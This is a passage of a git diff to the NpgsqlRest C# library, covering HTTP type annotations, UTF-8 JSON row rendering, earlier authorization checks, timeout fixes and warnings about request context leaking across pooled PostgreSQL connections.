@@ private static bool TryParseCacheDirective(ReadOnlySpan line, string? type { trimmed = TrimSpan(trimmed[1..]); } + else if (NpgsqlRestOptions.Options?.RequireAtPrefix is true) + { + // RequireAtPrefix: a directive needs the @ (the request line and the headers are HTTP syntax and do not) + return false; + } // Check for "cache" keyword (case-insensitive). Must be the whole token, so "cache_profile" // or other future "cache*" directives are not swallowed here. diff --git a/NpgsqlRest/HttpClientType/HttpTypeAnnotations.cs b/NpgsqlRest/HttpClientType/HttpTypeAnnotations.cs new file mode 100644 index 00000000..4a5b6112 --- /dev/null +++ b/NpgsqlRest/HttpClientType/HttpTypeAnnotations.cs @@ -0,0 +1,73 @@ +namespace NpgsqlRest.HttpClientType; + +/// +/// What the comment of a composite type may say to make it an HTTP Custom Type (a type whose value is the +/// response of an HTTP call), as annotation reference data. +/// +public static class HttpTypeAnnotations +{ + private const AnnotationContext Ctx = AnnotationContext.TypeComment; + + public static CommentAnnotation[] All => + [ + new() + { + Name = "http_type_request", + Syntax = "GET|POST|PUT|PATCH|DELETE ", + Description = "The request line: the HTTP method and the URL to call, absolute, or starting with / for a call to an endpoint of this application. Only directives and # comment lines may come before it. Header lines follow it, then a blank line, then the request body. {name} placeholders in the URL, the headers and the body take the routine's parameter values. The response fills the type's fields by name: body, status_code, headers, content_type, success, error_message (the names are configurable in HttpClientOptions).", + Owner = "http_type", + Form = AnnotationForm.Line, + Contexts = Ctx, + Example = "GET https://api.example.com/users/{_id}" + }, + new() + { + Name = "http_type_header", + Syntax = "Header-Name: value", + Description = "A request header, on the lines after the request line. A Content-Type header sets the body's content type (application/json when there is a body and no header).", + Owner = "http_type", + Form = AnnotationForm.Line, + Contexts = Ctx, + Example = "Authorization: Bearer {_token}" + }, + new() + { + Name = "timeout", + Aliases = ["timeout"], + Syntax = "timeout ", + Description = "How long one attempt may take. A number is seconds; 10s, 500ms, 2 minutes and 00:00:10 are also read. On a timeout status_code is 408 and error_message says so.", + Owner = "http_type", + Form = AnnotationForm.KeywordOrKeyValue, + Contexts = Ctx, + ValueKind = AnnotationValueKind.Interval, + Default = "30s", + Example = "@timeout 10s" + }, + new() + { + Name = "retry_delay", + Aliases = ["retry_delay"], + Syntax = "retry_delay , , ... [on , , ...]", + Description = "Retry a failed call: one retry per delay, each waited before its retry. Without 'on', any response outside 200-299 is retried; with it, only the listed status codes. Timeouts and network errors are always retried.", + Owner = "http_type", + Form = AnnotationForm.KeywordOrKeyValue, + Contexts = Ctx, + ValueKind = AnnotationValueKind.List, + Default = "no retries", + Example = "@retry_delay 1s, 3s, 10s on 429, 503" + }, + new() + { + Name = "cache", + Aliases = ["cache"], + Syntax = "cache [interval]", + Description = "Keep the response in memory and answer identical calls from it, for the given time (without a time, until the application stops). GET requests only, and only responses with status 200-299.", + Owner = "http_type", + Form = AnnotationForm.KeywordOrKeyValue, + Contexts = Ctx, + ValueKind = AnnotationValueKind.Interval, + Default = "off", + Example = "@cache 5 minutes" + }, + ]; +} diff --git a/NpgsqlRest/HttpClientType/InternalRequestHandler.cs b/NpgsqlRest/HttpClientType/InternalRequestHandler.cs index 6e5ae1e5..782872f7 100644 --- a/NpgsqlRest/HttpClientType/InternalRequestHandler.cs +++ b/NpgsqlRest/HttpClientType/InternalRequestHandler.cs @@ -122,14 +122,23 @@ internal static async Task ExecuteAsync( context.Response.Body = responseBody; // Invoke handler + // The call is cancelled with its caller: the endpoint reads this token as its request's own. (It was not + // passed on, so a timeout or a disconnected client left the called endpoint running to its end.) + context.RequestAborted = cancellationToken; try { await handler(context); } + catch (OperationCanceledException) when (cancellationToken.IsCancellationRequested) + { + throw; + } catch (Exception ex) { return new InternalResponse { StatusCode = 500, Body = ex.Message, IsSuccess = false }; } + // An endpoint answers a cancelled request itself (it does not throw): for the caller it is still cancelled. + cancellationToken.ThrowIfCancellationRequested(); // Flush any remaining data await context.Response.Body.FlushAsync(cancellationToken); @@ -201,7 +210,8 @@ private static (Func? Handler, RouteValueDictionary? RouteVal // Extract parameter name (strip { } and optional ?) var paramName = ts[1..^1].TrimEnd('?'); routeValues ??= new(); - routeValues[paramName] = segments[i]; + // Placeholder values are percent-encoded into the URL; route values are decoded, as HTTP routing does. + routeValues[paramName] = Uri.UnescapeDataString(segments[i]); continue; } if (!string.Equals(segments[i], ts, StringComparison.OrdinalIgnoreCase)) diff --git a/NpgsqlRest/IEndpointCreateHandler.cs b/NpgsqlRest/IEndpointCreateHandler.cs index 637a990f..d111c36e 100644 --- a/NpgsqlRest/IEndpointCreateHandler.cs +++ b/NpgsqlRest/IEndpointCreateHandler.cs @@ -46,6 +46,14 @@ void Setup(IApplicationBuilder builder, NpgsqlRestOptions options) { } /// string[] EndpointRequestingAnnotations => []; + /// + /// The comment annotations and custom parameters (key = value) this handler reads, described as + /// data. They become part of the annotation reference (, + /// npgsqlrest --annotations), and the comment parser uses them to tell a line it does not know from + /// one that is this handler's. Default: none. + /// + CommentAnnotation[] Annotations => []; + /// /// After successful endpoint creation. /// diff --git a/NpgsqlRest/JsonValueFormatter.cs b/NpgsqlRest/JsonValueFormatter.cs index a96026fc..0d91b354 100644 --- a/NpgsqlRest/JsonValueFormatter.cs +++ b/NpgsqlRest/JsonValueFormatter.cs @@ -4,48 +4,50 @@ namespace NpgsqlRest; /// -/// Shared JSON value formatting for column values. -/// Used by both single-command and multi-command rendering paths -/// to guarantee identical output for the same column types. +/// JSON value formatting for column values, used by the row renderer for single-statement and multi-statement +/// results alike, so the same column types always produce the same output. /// internal static class JsonValueFormatter { /// - /// Format a single column value into the output buffer as JSON. - /// Handles: null, arrays, array-of-composites, numeric, boolean, JSON, datetime, text with escaping. + /// Formats a single column value into the output buffer as JSON: null, arrays, arrays of composite types, numbers, + /// booleans, JSON, date/time values, and text with escaping. The value is the UTF-8 text PostgreSQL sent (every + /// column is in text format, see AllResultTypesAreUnknown) and the output is UTF-8, so no string is created for it. /// - /// Raw string value from PostgreSQL (via AllResultTypesAreUnknown) - /// The original object value (for DBNull check) + /// The value as UTF-8 text + /// True for SQL NULL /// Type descriptor for this column - /// StringBuilder to write formatted value to + /// Buffer to write the formatted value to /// Array composite dictionary from Routine, or null /// Column index for array composite lookup - [System.Runtime.CompilerServices.MethodImpl(System.Runtime.CompilerServices.MethodImplOptions.AggressiveInlining)] + /// Pooled scratch for the converters that still work on text public static void FormatValue( - ReadOnlySpan raw, - object value, + ReadOnlySpan raw, + bool isNull, TypeDescriptor descriptor, - StringBuilder outputBuffer, + Utf8Buffer output, Dictionary? routineArrayCompositeInfo, - int columnIndex) + int columnIndex, + ref char[]? charBuffer) { - if (value == DBNull.Value) + if (isNull) { - outputBuffer.Append(Consts.Null); + output.Append(Consts.Utf8Null); return; } if (descriptor.IsArray) { - // Check if this is an array of composite types if (routineArrayCompositeInfo is not null && routineArrayCompositeInfo.TryGetValue(columnIndex, out var arrayCompositeInfo)) { - outputBuffer.Append(PgCompositeArrayToJsonArray(raw, arrayCompositeInfo.FieldNames, arrayCompositeInfo.FieldDescriptors)); + // Array of composite types: converted as text + var chars = PgUtf8Converters.DecodeChars(raw, ref charBuffer); + output.Append(PgCompositeArrayToJsonArray(chars, arrayCompositeInfo.FieldNames, arrayCompositeInfo.FieldDescriptors)); } else { - outputBuffer.Append(PgArrayToJsonArray(raw, descriptor)); + PgUtf8Converters.AppendPgArrayAsJson(output, raw, descriptor); } return; } @@ -54,23 +56,23 @@ public static void FormatValue( { if ((descriptor.Category & TypeCategory.Boolean) != 0) { - if (raw.Length == 1 && raw[0] == 't') + if (raw.Length == 1 && raw[0] == (byte)'t') { - outputBuffer.Append(Consts.True); + output.Append("true"u8); } - else if (raw.Length == 1 && raw[0] == 'f') + else if (raw.Length == 1 && raw[0] == (byte)'f') { - outputBuffer.Append(Consts.False); + output.Append("false"u8); } else { - outputBuffer.Append(raw); + output.Append(raw); } } else { // numeric and json passthrough - outputBuffer.Append(raw); + output.Append(raw); } return; } @@ -78,19 +80,28 @@ public static void FormatValue( // Text and other types if (descriptor.ActualDbType == NpgsqlDbType.Unknown) { - outputBuffer.Append(PgUnknownToJsonArray(ref raw)); + if (raw.Length < 2 || raw[0] != (byte)Consts.OpenParenthesis || raw[^1] != (byte)Consts.CloseParenthesis) + { + // Not a record: an enum, a domain, or another type without a specific mapping - an escaped JSON string + PgUtf8Converters.AppendJsonString(output, raw); + } + else + { + var chars = PgUtf8Converters.DecodeChars(raw, ref charBuffer); + output.Append(PgUnknownToJsonArray(ref chars)); + } } else if (descriptor.NeedsEscape) { - outputBuffer.Append(SerializeString(ref raw)); + PgUtf8Converters.AppendJsonString(output, raw); } else if ((descriptor.Category & TypeCategory.DateTime) != 0) { - outputBuffer.Append(QuoteDateTime(ref raw)); + PgUtf8Converters.AppendQuotedDateTime(output, raw); } else { - outputBuffer.Append(Quote(ref raw)); + PgUtf8Converters.AppendQuoted(output, raw); } } } diff --git a/NpgsqlRest/Log.cs b/NpgsqlRest/Log.cs index 6678c2ff..3ae888f3 100644 --- a/NpgsqlRest/Log.cs +++ b/NpgsqlRest/Log.cs @@ -5,11 +5,12 @@ public static partial class Log [LoggerMessage(Level = LogLevel.Error, Message = "Could not read a value from {commandText} mapped to {method} {path}")] public static partial void CouldNotReadCommand(this ILogger logger, string commandText, string method, string path); - [LoggerMessage(Level = LogLevel.Warning, Message = "Could not parse JSON body {body}, skipping path {path}.")] - public static partial void CouldNotParseJson(this ILogger logger, string body, string path); + // The body itself is never logged: it may carry credentials (a login with malformed JSON) and is client-sized. + [LoggerMessage(Level = LogLevel.Warning, Message = "Could not parse JSON body ({length} characters), skipping path {path}. Error: {error}")] + private static partial void CouldNotParseJsonBody(this ILogger logger, int length, string path, string error); - [LoggerMessage(Level = LogLevel.Warning, Message = "Could not parse JSON body {body}, skipping path {path}. Error: {error}")] - public static partial void CouldNotParseJson(this ILogger logger, string body, string path, string error); + public static void CouldNotParseJson(this ILogger logger, string? body, string path, string error) => + logger.CouldNotParseJsonBody(body?.Length ?? 0, path, error); [LoggerMessage(Level = LogLevel.Warning, Message = "Endpoint {method} {url} changed request parameter type from body to query string because body will be used for parameter named \"{bodyParameterName}\".")] public static partial void EndpointTypeChangedBodyParam(this ILogger logger, string method, string url, string bodyParameterName); @@ -200,7 +201,7 @@ public static partial class Log [LoggerMessage(Level = LogLevel.Warning, Message = "{description} upload handler are not defined.")] public static partial void CommentUploadNoHandlers(this ILogger logger, string description); - [LoggerMessage(Level = LogLevel.Trace, Message = "{description} has set to use the first available UPLOAD HANDLER {handler} by the comment annotation.")] + [LoggerMessage(Level = LogLevel.Trace, Message = "{description}: none of the upload handlers named in the comment annotation exists, the default UPLOAD HANDLER {handler} is used.")] public static partial void CommentUploadFirstAvaialbleHandler(this ILogger logger, string description, string? handler); [LoggerMessage(Level = LogLevel.Trace, Message = "{description} has set to use UPLOAD HANDLER {handler} by the comment annotation.")] diff --git a/NpgsqlRest/NpgsqlRest.csproj b/NpgsqlRest/NpgsqlRest.csproj index 0493f60c..a1211aaa 100644 --- a/NpgsqlRest/NpgsqlRest.csproj +++ b/NpgsqlRest/NpgsqlRest.csproj @@ -2,8 +2,8 @@ Library - net10.0 - 14 + net10.0;net11.0 + 15 enable enable true @@ -41,8 +41,8 @@ - - + + diff --git a/NpgsqlRest/NpgsqlRestBuilder.cs b/NpgsqlRest/NpgsqlRestBuilder.cs index 89aed543..d9266fb8 100644 --- a/NpgsqlRest/NpgsqlRestBuilder.cs +++ b/NpgsqlRest/NpgsqlRestBuilder.cs @@ -42,7 +42,18 @@ public static IApplicationBuilder UseNpgsqlRest(this WebApplication builder, Npg Options = options; ParameterParsers.JsonTimestampsAreUtc = options.JsonTimestampsAreUtc; var factory = builder.Services.GetRequiredService(); - Logger = factory.CreateLogger(options.LoggerName ?? typeof(NpgsqlRestBuilder).Namespace ?? "NpgsqlRest"); + // Wrapped so that the warnings about an endpoint's comment can be kept with the endpoint (RoutineEndpoint.Diagnostics). + Logger = new EndpointDiagnosticsLogger(factory.CreateLogger(options.LoggerName ?? typeof(NpgsqlRestBuilder).Namespace ?? "NpgsqlRest")); + // What the plugins in use read from comments: part of the annotation reference, and known to the parser. + foreach (var handler in options.EndpointCreateHandlers) + { + CommentAnnotations.Register(handler.Annotations); + } + // Upload handlers whose key is not the default one: their parameters under the configured prefix. + var uploadKeys = options.UploadOptions.DefaultUploadHandlerOptions; + CommentAnnotations.Register(UploadHandlers.UploadAnnotations.WithHandlerKey(UploadHandlers.UploadAnnotations.Core, "large_object", uploadKeys.LargeObjectKey)); + CommentAnnotations.Register(UploadHandlers.UploadAnnotations.WithHandlerKey(UploadHandlers.UploadAnnotations.Core, "file_system", uploadKeys.FileSystemKey)); + CommentAnnotations.Register(UploadHandlers.UploadAnnotations.WithHandlerKey(UploadHandlers.UploadAnnotations.Core, "csv", uploadKeys.CsvUploadKey)); RetryStrategy? defaultStrategy = null; if (Options.CommandRetryOptions.Enabled is true && string.IsNullOrEmpty(Options.CommandRetryOptions.DefaultStrategy) is false) @@ -75,6 +86,32 @@ public static IApplicationBuilder UseNpgsqlRest(this WebApplication builder, Npg hasStreamingEvents ) = Build(builder, defaultStrategy); + // Which endpoints send their request context together with the routine, local to that one batch (overloads + // are endpoints too: a request resolves to one of them by its parameters). + foreach (var entry in entries) + { + entry.Endpoint.ContextInRoutineBatch = RequestContextBatch.CanUse(entry.Endpoint); + } + foreach (var entry in overloads.Values) + { + entry.Endpoint.ContextInRoutineBatch = RequestContextBatch.CanUse(entry.Endpoint); + } + if (RequestContextBatch.IsSupported is false) + { + foreach (var entry in entries) + { + if (RequestContextBatch.Qualifies(entry.Endpoint)) + { + // NpgsqlRest works the same, only slower: say why, once. + Logger?.LogInformation( + "The request context (user_context, request_headers context) is sent to PostgreSQL in a separate round trip before each routine, and pooled connections have to be reset after it: Npgsql {NpgsqlVersion} does not return the results of a batch as text.", + typeof(NpgsqlBatch).Assembly.GetName().Version); + break; + } + } + } + Options.ConnectionResetRequired = RequestsLeaveSessionState(entries, overloads); + if (entries.Count == 0) { return builder; @@ -125,7 +162,24 @@ public static IApplicationBuilder UseNpgsqlRest(this WebApplication builder, Npg continue; } - var routeBuilder = builder.MapMethods(endpoint.Path, [methodStr], handler.InvokeAsync); + // The route handler binds only HttpContext and CancellationToken: binding an IServiceProvider parameter made + // ASP.NET resolve context.RequestServices - creating and disposing a DI scope - on every request, although the + // provider is needed only with ServiceProviderMode (and is then taken from RequestServices on demand). + // A method group (not a lambda or delegate variable) so the Request Delegate Generator binds it at compile + // time (AOT-safe), and two parameters so it is not a RequestDelegate: MapMethods returns a RouteHandlerBuilder. + var routeBuilder = builder.MapMethods(endpoint.Path, [methodStr], handler.HandleRequestAsync); + + // The generated route handler only forwards (HttpContext, RequestAborted) to the method above, through one + // more async method per request. When the endpoint has no endpoint filters - they are the only other thing + // that wrapper runs - the endpoint calls the handler directly. Decided last (Finally), so filters added by + // RouteHandlerCreated or by a route group are seen. + routeBuilder.Finally(endpointBuilder => + { + if (endpointBuilder.FilterFactories.Count == 0) + { + endpointBuilder.RequestDelegate = handler.HandleDirectAsync; + } + }); if (endpoint.RateLimiterPolicy is not null || options.DefaultRateLimitingPolicy is not null) { @@ -161,11 +215,126 @@ public static IApplicationBuilder UseNpgsqlRest(this WebApplication builder, Npg } } + WarnIfRequestContextCanOutliveRequest(entries, overloads); + // Register internal handlers for self-referencing calls (bypass HTTP) InternalRequestHandler.SetEndpointHandlers(internalHandlers); return builder; } + + /// + /// True when a request can leave session-level settings on its connection (see + /// ). These are all the places where NpgsqlRest runs + /// set_config(..., false): the request context when it is set by a separate batch (SetRequestContextAsync; not + /// when it is sent with the routine, local to that batch, see RequestContextBatch) and the upload metadata key + /// (UploadAsync). + /// BeforeRoutineCommands are the application's own SQL, typically set_config calls, so they count as well. + /// + private static bool RequestsLeaveSessionState(List entries, FrozenDictionary overloads) + { + if (Options.WrapInTransaction) + { + // every set_config NpgsqlRest issues is local to the request's transaction + return false; + } + if (Options.BeforeRoutineCommands.Length > 0) + { + return true; + } + var auth = Options.AuthenticationOptions; + var userContextWrites = auth.IpAddressContextKey is not null + || auth.ClaimsJsonContextKey is not null + || auth.ContextKeyClaimsMapping.Count > 0; + var headersContextWrites = Options.RequestHeadersContextKey is not null; + var uploadContextWrites = Options.UploadOptions.UseDefaultUploadMetadataContextKey + && Options.UploadOptions.DefaultUploadMetadataContextKey is not null; + bool LeavesSessionState(RoutineEndpoint endpoint) + { + var setsContext = (endpoint.UserContext && userContextWrites) + || (endpoint.RequestHeadersMode == RequestHeadersMode.Context && headersContextWrites); + return (setsContext && endpoint.ContextInRoutineBatch is false) || (endpoint.Upload && uploadContextWrites); + } + + foreach (var entry in entries) + { + if (LeavesSessionState(entry.Endpoint)) + { + return true; + } + } + foreach (var entry in overloads.Values) + { + if (LeavesSessionState(entry.Endpoint)) + { + return true; + } + } + return false; + } + + /// + /// user_context / request_headers context values are session-level settings (set_config(..., false)) for the + /// endpoints that cannot send them together with the routine (see RequestContextBatch), unless the request runs + /// in a transaction. With "No Reset On Close" the pooled connection keeps them, so the next request on that + /// connection - including endpoints that never set a context - can read the previous caller's identity. + /// + private static void WarnIfRequestContextCanOutliveRequest(List entries, FrozenDictionary overloads) + { + if (Options.WrapInTransaction) + { + return; + } + // Endpoints whose context is sent with the routine (RequestContextBatch) leave nothing on the connection. + static bool SetsSessionContext(RoutineEndpoint endpoint) => + (endpoint.UserContext || endpoint.RequestHeadersMode == RequestHeadersMode.Context) && endpoint.ContextInRoutineBatch is false; + + var usesContext = false; + foreach (var entry in entries) + { + if (SetsSessionContext(entry.Endpoint)) + { + usesContext = true; + break; + } + } + if (usesContext is false) + { + foreach (var entry in overloads.Values) + { + if (SetsSessionContext(entry.Endpoint)) + { + usesContext = true; + break; + } + } + } + if (usesContext is false) + { + return; + } + var connectionString = Options.DataSource?.ConnectionString ?? Options.ConnectionString; + if (connectionString is null) + { + return; + } + try + { + if (new NpgsqlConnectionStringBuilder(connectionString).NoResetOnClose) + { + Logger?.LogWarning( + "The connection string sets \"No Reset On Close\" and endpoints set user_context or request_headers context at session level " + + "(procedures, upload, login and logout endpoints, SQL files that are not a single query or data change, or any endpoint with a command callback). " + + "Those values stay on the pooled connection, so the next request using that connection " + + "can read the previous caller's values (for example request.user_id in an RLS policy). Remove \"No Reset On Close\" " + + "or enable WrapInTransaction."); + } + } + catch (ArgumentException) + { + // unparsable connection string - connection errors are reported elsewhere + } + } private const int MaxPathLength = 2048; @@ -196,6 +365,7 @@ private static Metadata Build(IApplicationBuilder? builder, RetryStrategy? defau } Options.EndpointSourcesCreated(Options.EndpointSources); + EndpointReport.Reset(); var hasCachedRoutine = false; CommentsMode optionsCommentsMode = Options.CommentsMode; bool hasStreamingEvents = false; @@ -216,6 +386,19 @@ private static Metadata Build(IApplicationBuilder? builder, RetryStrategy? defau if (endpoint is null) { + var (code, message) = DefaultCommentParser.NotExposedReason + ?? ("rejected_by_callback", "The source's endpoint handler returned no endpoint for it."); + EndpointReport.AddNotExposed(new NotExposedEntry + { + Kind = EndpointReport.KindOf(routine), + Schema = routine.Schema, + Name = routine.Name, + Definition = routine.SimpleDefinition, + SourceFile = routine.SourceFile, + Reason = code, + Message = message, + Diagnostics = DefaultCommentParser.NotExposedDiagnostics + }); continue; } @@ -322,7 +505,11 @@ private static Metadata Build(IApplicationBuilder? builder, RetryStrategy? defau authorizeRoles: endpoint.AuthorizeRoles, cached: true, cachedParams: endpoint.CachedParams?.ToArray(), - connectionName: endpoint.ConnectionName + connectionName: endpoint.ConnectionName, + // the endpoint's custom parameters, so that the settings of the code generators (the + // module of a generated client function, whether one is generated at all) apply to + // this endpoint as they do to the endpoint it belongs to + customParameters: endpoint.CustomParameters ) { InvalidateCache = true, @@ -331,6 +518,8 @@ private static Metadata Build(IApplicationBuilder? builder, RetryStrategy? defau CacheProfile = endpoint.CacheProfile }; + endpoint.CopyItemsTo(invalidateEndpoint); + var invalidateKey = string.Concat(method, invalidatePath); var invalidateValue = new NpgsqlRestMetadataEntry(invalidateEndpoint, formatter, invalidateKey); lookup[invalidateKey] = invalidateValue; diff --git a/NpgsqlRest/NpgsqlRestEndpoint.Helpers.cs b/NpgsqlRest/NpgsqlRestEndpoint.Helpers.cs index 6ba3d019..6c602867 100644 --- a/NpgsqlRest/NpgsqlRestEndpoint.Helpers.cs +++ b/NpgsqlRest/NpgsqlRestEndpoint.Helpers.cs @@ -1,3 +1,4 @@ +using System.Collections.Frozen; using System.Data; using System.IO.Pipelines; using System.Net; @@ -12,6 +13,103 @@ namespace NpgsqlRest; public partial class NpgsqlRestEndpoint { + // Authentication and authorization happen before the request is processed (body parsing, password hashing, + // validation, encryption) whenever the outcome cannot depend on overload resolution (one path, several routines + // told apart by parameter count). Otherwise they run once the request has resolved to its routine. + // - Basic Auth runs upfront when this endpoint and every overload use it, else after overload resolution + // (the global BasicAuth option applies to every endpoint and always runs upfront). + // - Anonymous callers are rejected upfront when every overload requires authorization and Basic Auth + // credentials (if any overload uses them) have already been processed by then. + // - Roles are checked upfront when the endpoint has no overloads. + // The authorization check after parameter processing still runs for the endpoint the request resolves to. + private readonly bool _basicAuthUpfront = AllInGroup(entry, overloads, UsesBasicAuth); + private readonly bool _rejectAnonymousUpfront = + AllInGroup(entry, overloads, RequiresAuthorization) && + (AllInGroup(entry, overloads, UsesBasicAuth) || AnyInGroup(entry, overloads, UsesBasicAuth) is false); + private readonly bool _checkRolesUpfront = + entry.Endpoint.Login is false && entry.Endpoint.AuthorizeRoles is not null && HasNoOverloads(entry, overloads); + + private static bool UsesBasicAuth(RoutineEndpoint endpoint) => endpoint.BasicAuth?.Enabled is true; + + private static bool RequiresAuthorization(RoutineEndpoint endpoint) => + endpoint.Login is false && (endpoint.RequiresAuthorization || endpoint.AuthorizeRoles is not null); + + /// True when the predicate holds for this endpoint and every overload of its path. + private static bool AllInGroup(NpgsqlRestMetadataEntry entry, FrozenDictionary overloads, Func predicate) + { + if (predicate(entry.Endpoint) is false) + { + return false; + } + foreach (var overload in overloads.Values) + { + if (string.Equals(overload.Key, entry.Key, StringComparison.Ordinal) && predicate(overload.Endpoint) is false) + { + return false; + } + } + return true; + } + + /// True when the predicate holds for this endpoint or any overload of its path. + private static bool AnyInGroup(NpgsqlRestMetadataEntry entry, FrozenDictionary overloads, Func predicate) + { + if (predicate(entry.Endpoint)) + { + return true; + } + foreach (var overload in overloads.Values) + { + if (string.Equals(overload.Key, entry.Key, StringComparison.Ordinal) && predicate(overload.Endpoint)) + { + return true; + } + } + return false; + } + + private static bool HasNoOverloads(NpgsqlRestMetadataEntry entry, FrozenDictionary overloads) + { + foreach (var overload in overloads.Values) + { + if (string.Equals(overload.Key, entry.Key, StringComparison.Ordinal)) + { + return false; + } + } + return true; + } + + /// + /// Writes 401 (not signed in) or 403 (signed in, no matching role) when the endpoint's authorization is not met. + /// Returns true when the request was rejected. + /// + private async Task RejectUnauthorizedAsync(HttpContext context, RoutineEndpoint endpoint, bool checkAuthentication, bool checkRoles) + { + if (checkAuthentication + && (endpoint.RequiresAuthorization || endpoint.AuthorizeRoles is not null) + && context.User?.Identity?.IsAuthenticated is not true) + { + await Results.Problem( + type: null, + statusCode: (int)HttpStatusCode.Unauthorized, + title: "Unauthorized", + detail: null).ExecuteAsync(context); + return true; + } + if (checkRoles + && endpoint.AuthorizeRoles is not null + && endpoint.HasAuthorizeRoleMatch(context.User, Options.AuthenticationOptions) is false) + { + await Results.Problem( + type: null, + statusCode: (int)HttpStatusCode.Forbidden, + title: "Forbidden", + detail: null).ExecuteAsync(context); + return true; + } + return false; + } /// /// Result of evaluating against the resolved parameter values. /// Three possible outcomes: @@ -130,7 +228,7 @@ private async ValueTask PrepareCommand( if (endpoint.CommandTimeout.HasValue) { - command.CommandTimeout = endpoint.CommandTimeout.Value.Seconds; + command.CommandTimeout = ToCommandTimeoutSeconds(endpoint.CommandTimeout.Value); } if (Options.CommandCallbackAsync is not null) @@ -171,6 +269,65 @@ private async ValueTask OpenConnectionAsync(NpgsqlConnection connection, HttpCon } } + /// + /// Converts a timeout to Npgsql's CommandTimeout (whole seconds, 0 = no timeout). Rounds up, so sub-second + /// timeouts don't become 0 (= unlimited). It used TimeSpan.Seconds - the seconds *component* - which turned + /// "1 minute" into 0, i.e. no timeout at all, and "90 seconds" into 30. + /// + internal static int ToCommandTimeoutSeconds(TimeSpan timeout) + { + if (timeout <= TimeSpan.Zero) + { + return 0; + } + var seconds = Math.Ceiling(timeout.TotalSeconds); + return seconds >= int.MaxValue ? int.MaxValue : (int)seconds; + } + + /// + /// Drops request-supplied values for claim-bound user parameters (claim-mapped and the user-claims JSON parameter) + /// from the query string and the JSON body. Used for anonymous callers of user_params endpoints, so the request + /// cannot impersonate a user; the routine then sees the parameter as not provided. Allocates only when a request + /// actually supplies such a parameter in the query string. + /// + private static void RemoveClientSuppliedUserParameters( + Routine routine, + ref IQueryCollection? queryCollection, + Dictionary? bodyDict) + { + Dictionary? filteredQuery = null; + foreach (var parameter in routine.Parameters) + { + if (parameter.IsFromUserClaims is false) + { + continue; + } + if (queryCollection is not null && + (queryCollection.ContainsKey(parameter.ConvertedName) || queryCollection.ContainsKey(parameter.ActualName))) + { + if (filteredQuery is null) + { + filteredQuery = new(queryCollection.Count, StringComparer.OrdinalIgnoreCase); + foreach (var kv in queryCollection) + { + filteredQuery[kv.Key] = kv.Value; + } + } + filteredQuery.Remove(parameter.ConvertedName); + filteredQuery.Remove(parameter.ActualName); + } + if (bodyDict is not null) + { + bodyDict.Remove(parameter.ConvertedName); + bodyDict.Remove(parameter.ActualName); + } + } + if (filteredQuery is not null) + { + queryCollection = new Microsoft.AspNetCore.Http.QueryCollection(filteredQuery); + } + } + private static void SearializeHeader(NpgsqlRestOptions options, HttpContext context, ref string? headers) { if (Options.CustomRequestHeaders.Count > 0) @@ -267,16 +424,6 @@ private static bool IsProxyResponseParameter(RoutineEndpoint endpoint, NpgsqlRes return paramName is not null && endpoint.ProxyResponseParameterNames.Contains(paramName); } - private static void WriteStringBuilderToWriter(StringBuilder row, PipeWriter writer) - { - foreach (ReadOnlyMemory chunk in row.GetChunks()) - { - var buffer = writer.GetSpan(Encoding.UTF8.GetMaxByteCount(chunk.Length)); - int bytesWritten = Encoding.UTF8.GetBytes(chunk.Span, buffer); - writer.Advance(bytesWritten); - } - } - private async ValueTask ReturnErrorAsync( string message, bool log, HttpContext context, @@ -424,8 +571,17 @@ private static (bool IsValid, string Message) ValidateParameterValue( { return (false, message); } - if (!System.Text.RegularExpressions.Regex.IsMatch(originalStringValue, rule.Pattern)) + try + { + if (rule.GetRegex()!.IsMatch(originalStringValue) is false) + { + return (false, message); + } + } + catch (System.Text.RegularExpressions.RegexMatchTimeoutException) { + Logger?.LogWarning("Validation of parameter {Parameter} timed out (pattern {Pattern}, value length {Length}); rejected as invalid.", + originalParamName, rule.Pattern, originalStringValue.Length); return (false, message); } break; diff --git a/NpgsqlRest/NpgsqlRestEndpoint.RowRenderer.cs b/NpgsqlRest/NpgsqlRestEndpoint.RowRenderer.cs new file mode 100644 index 00000000..588988d5 --- /dev/null +++ b/NpgsqlRest/NpgsqlRestEndpoint.RowRenderer.cs @@ -0,0 +1,425 @@ +using System.Buffers; +using System.Runtime.CompilerServices; +using System.Text; +using Microsoft.AspNetCore.DataProtection; +using Npgsql; + +namespace NpgsqlRest; + +public partial class NpgsqlRestEndpoint +{ + /// + /// Renders the rows of a result set into a UTF-8 buffer (JSON objects / values, or raw text). + /// + /// PostgreSQL sends every value as UTF-8 text and the response is UTF-8, so a row is built as bytes: a column's + /// bytes are read straight from the reader (no string per value) and written with the JSON punctuation around + /// them. This is the synchronous part of row rendering; the async loop around it only reads rows and flushes. + /// + /// The object belongs to the pooled request state and is reused: starts a request's use of it + /// and ends it (buffers go back to their pools, references are cleared). + /// + private sealed class RowRenderer + { + private NpgsqlDataReader _reader = null!; + private Routine _routine = null!; + private RoutineEndpoint _endpoint = null!; + private IDataProtector? _protector; + // True when a column's bytes can be used as they are: see IsUtf8Wire. + private bool _utf8Wire; + + private string[] _columnNames = []; + private string[] _jsonColumnNames = []; + private byte[][] _utf8JsonColumnNames = []; + private TypeDescriptor[] _descriptors = []; + private int _columnCount; + private int _hiddenColumnIndex = -1; + // Rows are bare values / value lists, not objects (a single unnamed column) + private bool _returnsUnnamedSet; + // Raw (text/CSV) output instead of JSON + private bool _raw; + private Dictionary? _nestedJsonColumnMap; + + // Buffer for the fields of a nested composite, to detect an all-NULL composite + private Utf8Buffer? _compositeFieldBuffer; + private bool _compositeHasNonNullValue; + private string? _currentJsonCompositeName; + + private byte[] _scratch = []; + private char[]? _charScratch; + + /// The rows rendered since the last flush. + public Utf8Buffer Row = null!; + + /// Starts rendering the rows of . Pair with . + public void Init(NpgsqlDataReader reader, Routine routine, RoutineEndpoint endpoint, NpgsqlConnection connection) + { + _reader = reader; + _routine = routine; + _endpoint = endpoint; + _protector = Options.AuthenticationOptions.DefaultDataProtector; + _utf8Wire = IsUtf8Wire(connection); + _scratch = ArrayPool.Shared.Rent(1024); + Row = Utf8Buffer.Rent(); + } + + /// Sets the shape of the result set that the following rows belong to. + public void Configure( + string[] columnNames, + string[] jsonColumnNames, + TypeDescriptor[] descriptors, + int columnCount, + Dictionary? nestedJsonColumnMap, + int hiddenColumnIndex, + bool returnsUnnamedSet, + bool raw) + { + _columnNames = columnNames; + _jsonColumnNames = jsonColumnNames; + _utf8JsonColumnNames = Utf8ColumnNames.Get(jsonColumnNames); + _descriptors = descriptors; + _columnCount = columnCount; + _nestedJsonColumnMap = nestedJsonColumnMap; + _hiddenColumnIndex = hiddenColumnIndex; + _returnsUnnamedSet = returnsUnnamedSet; + _raw = 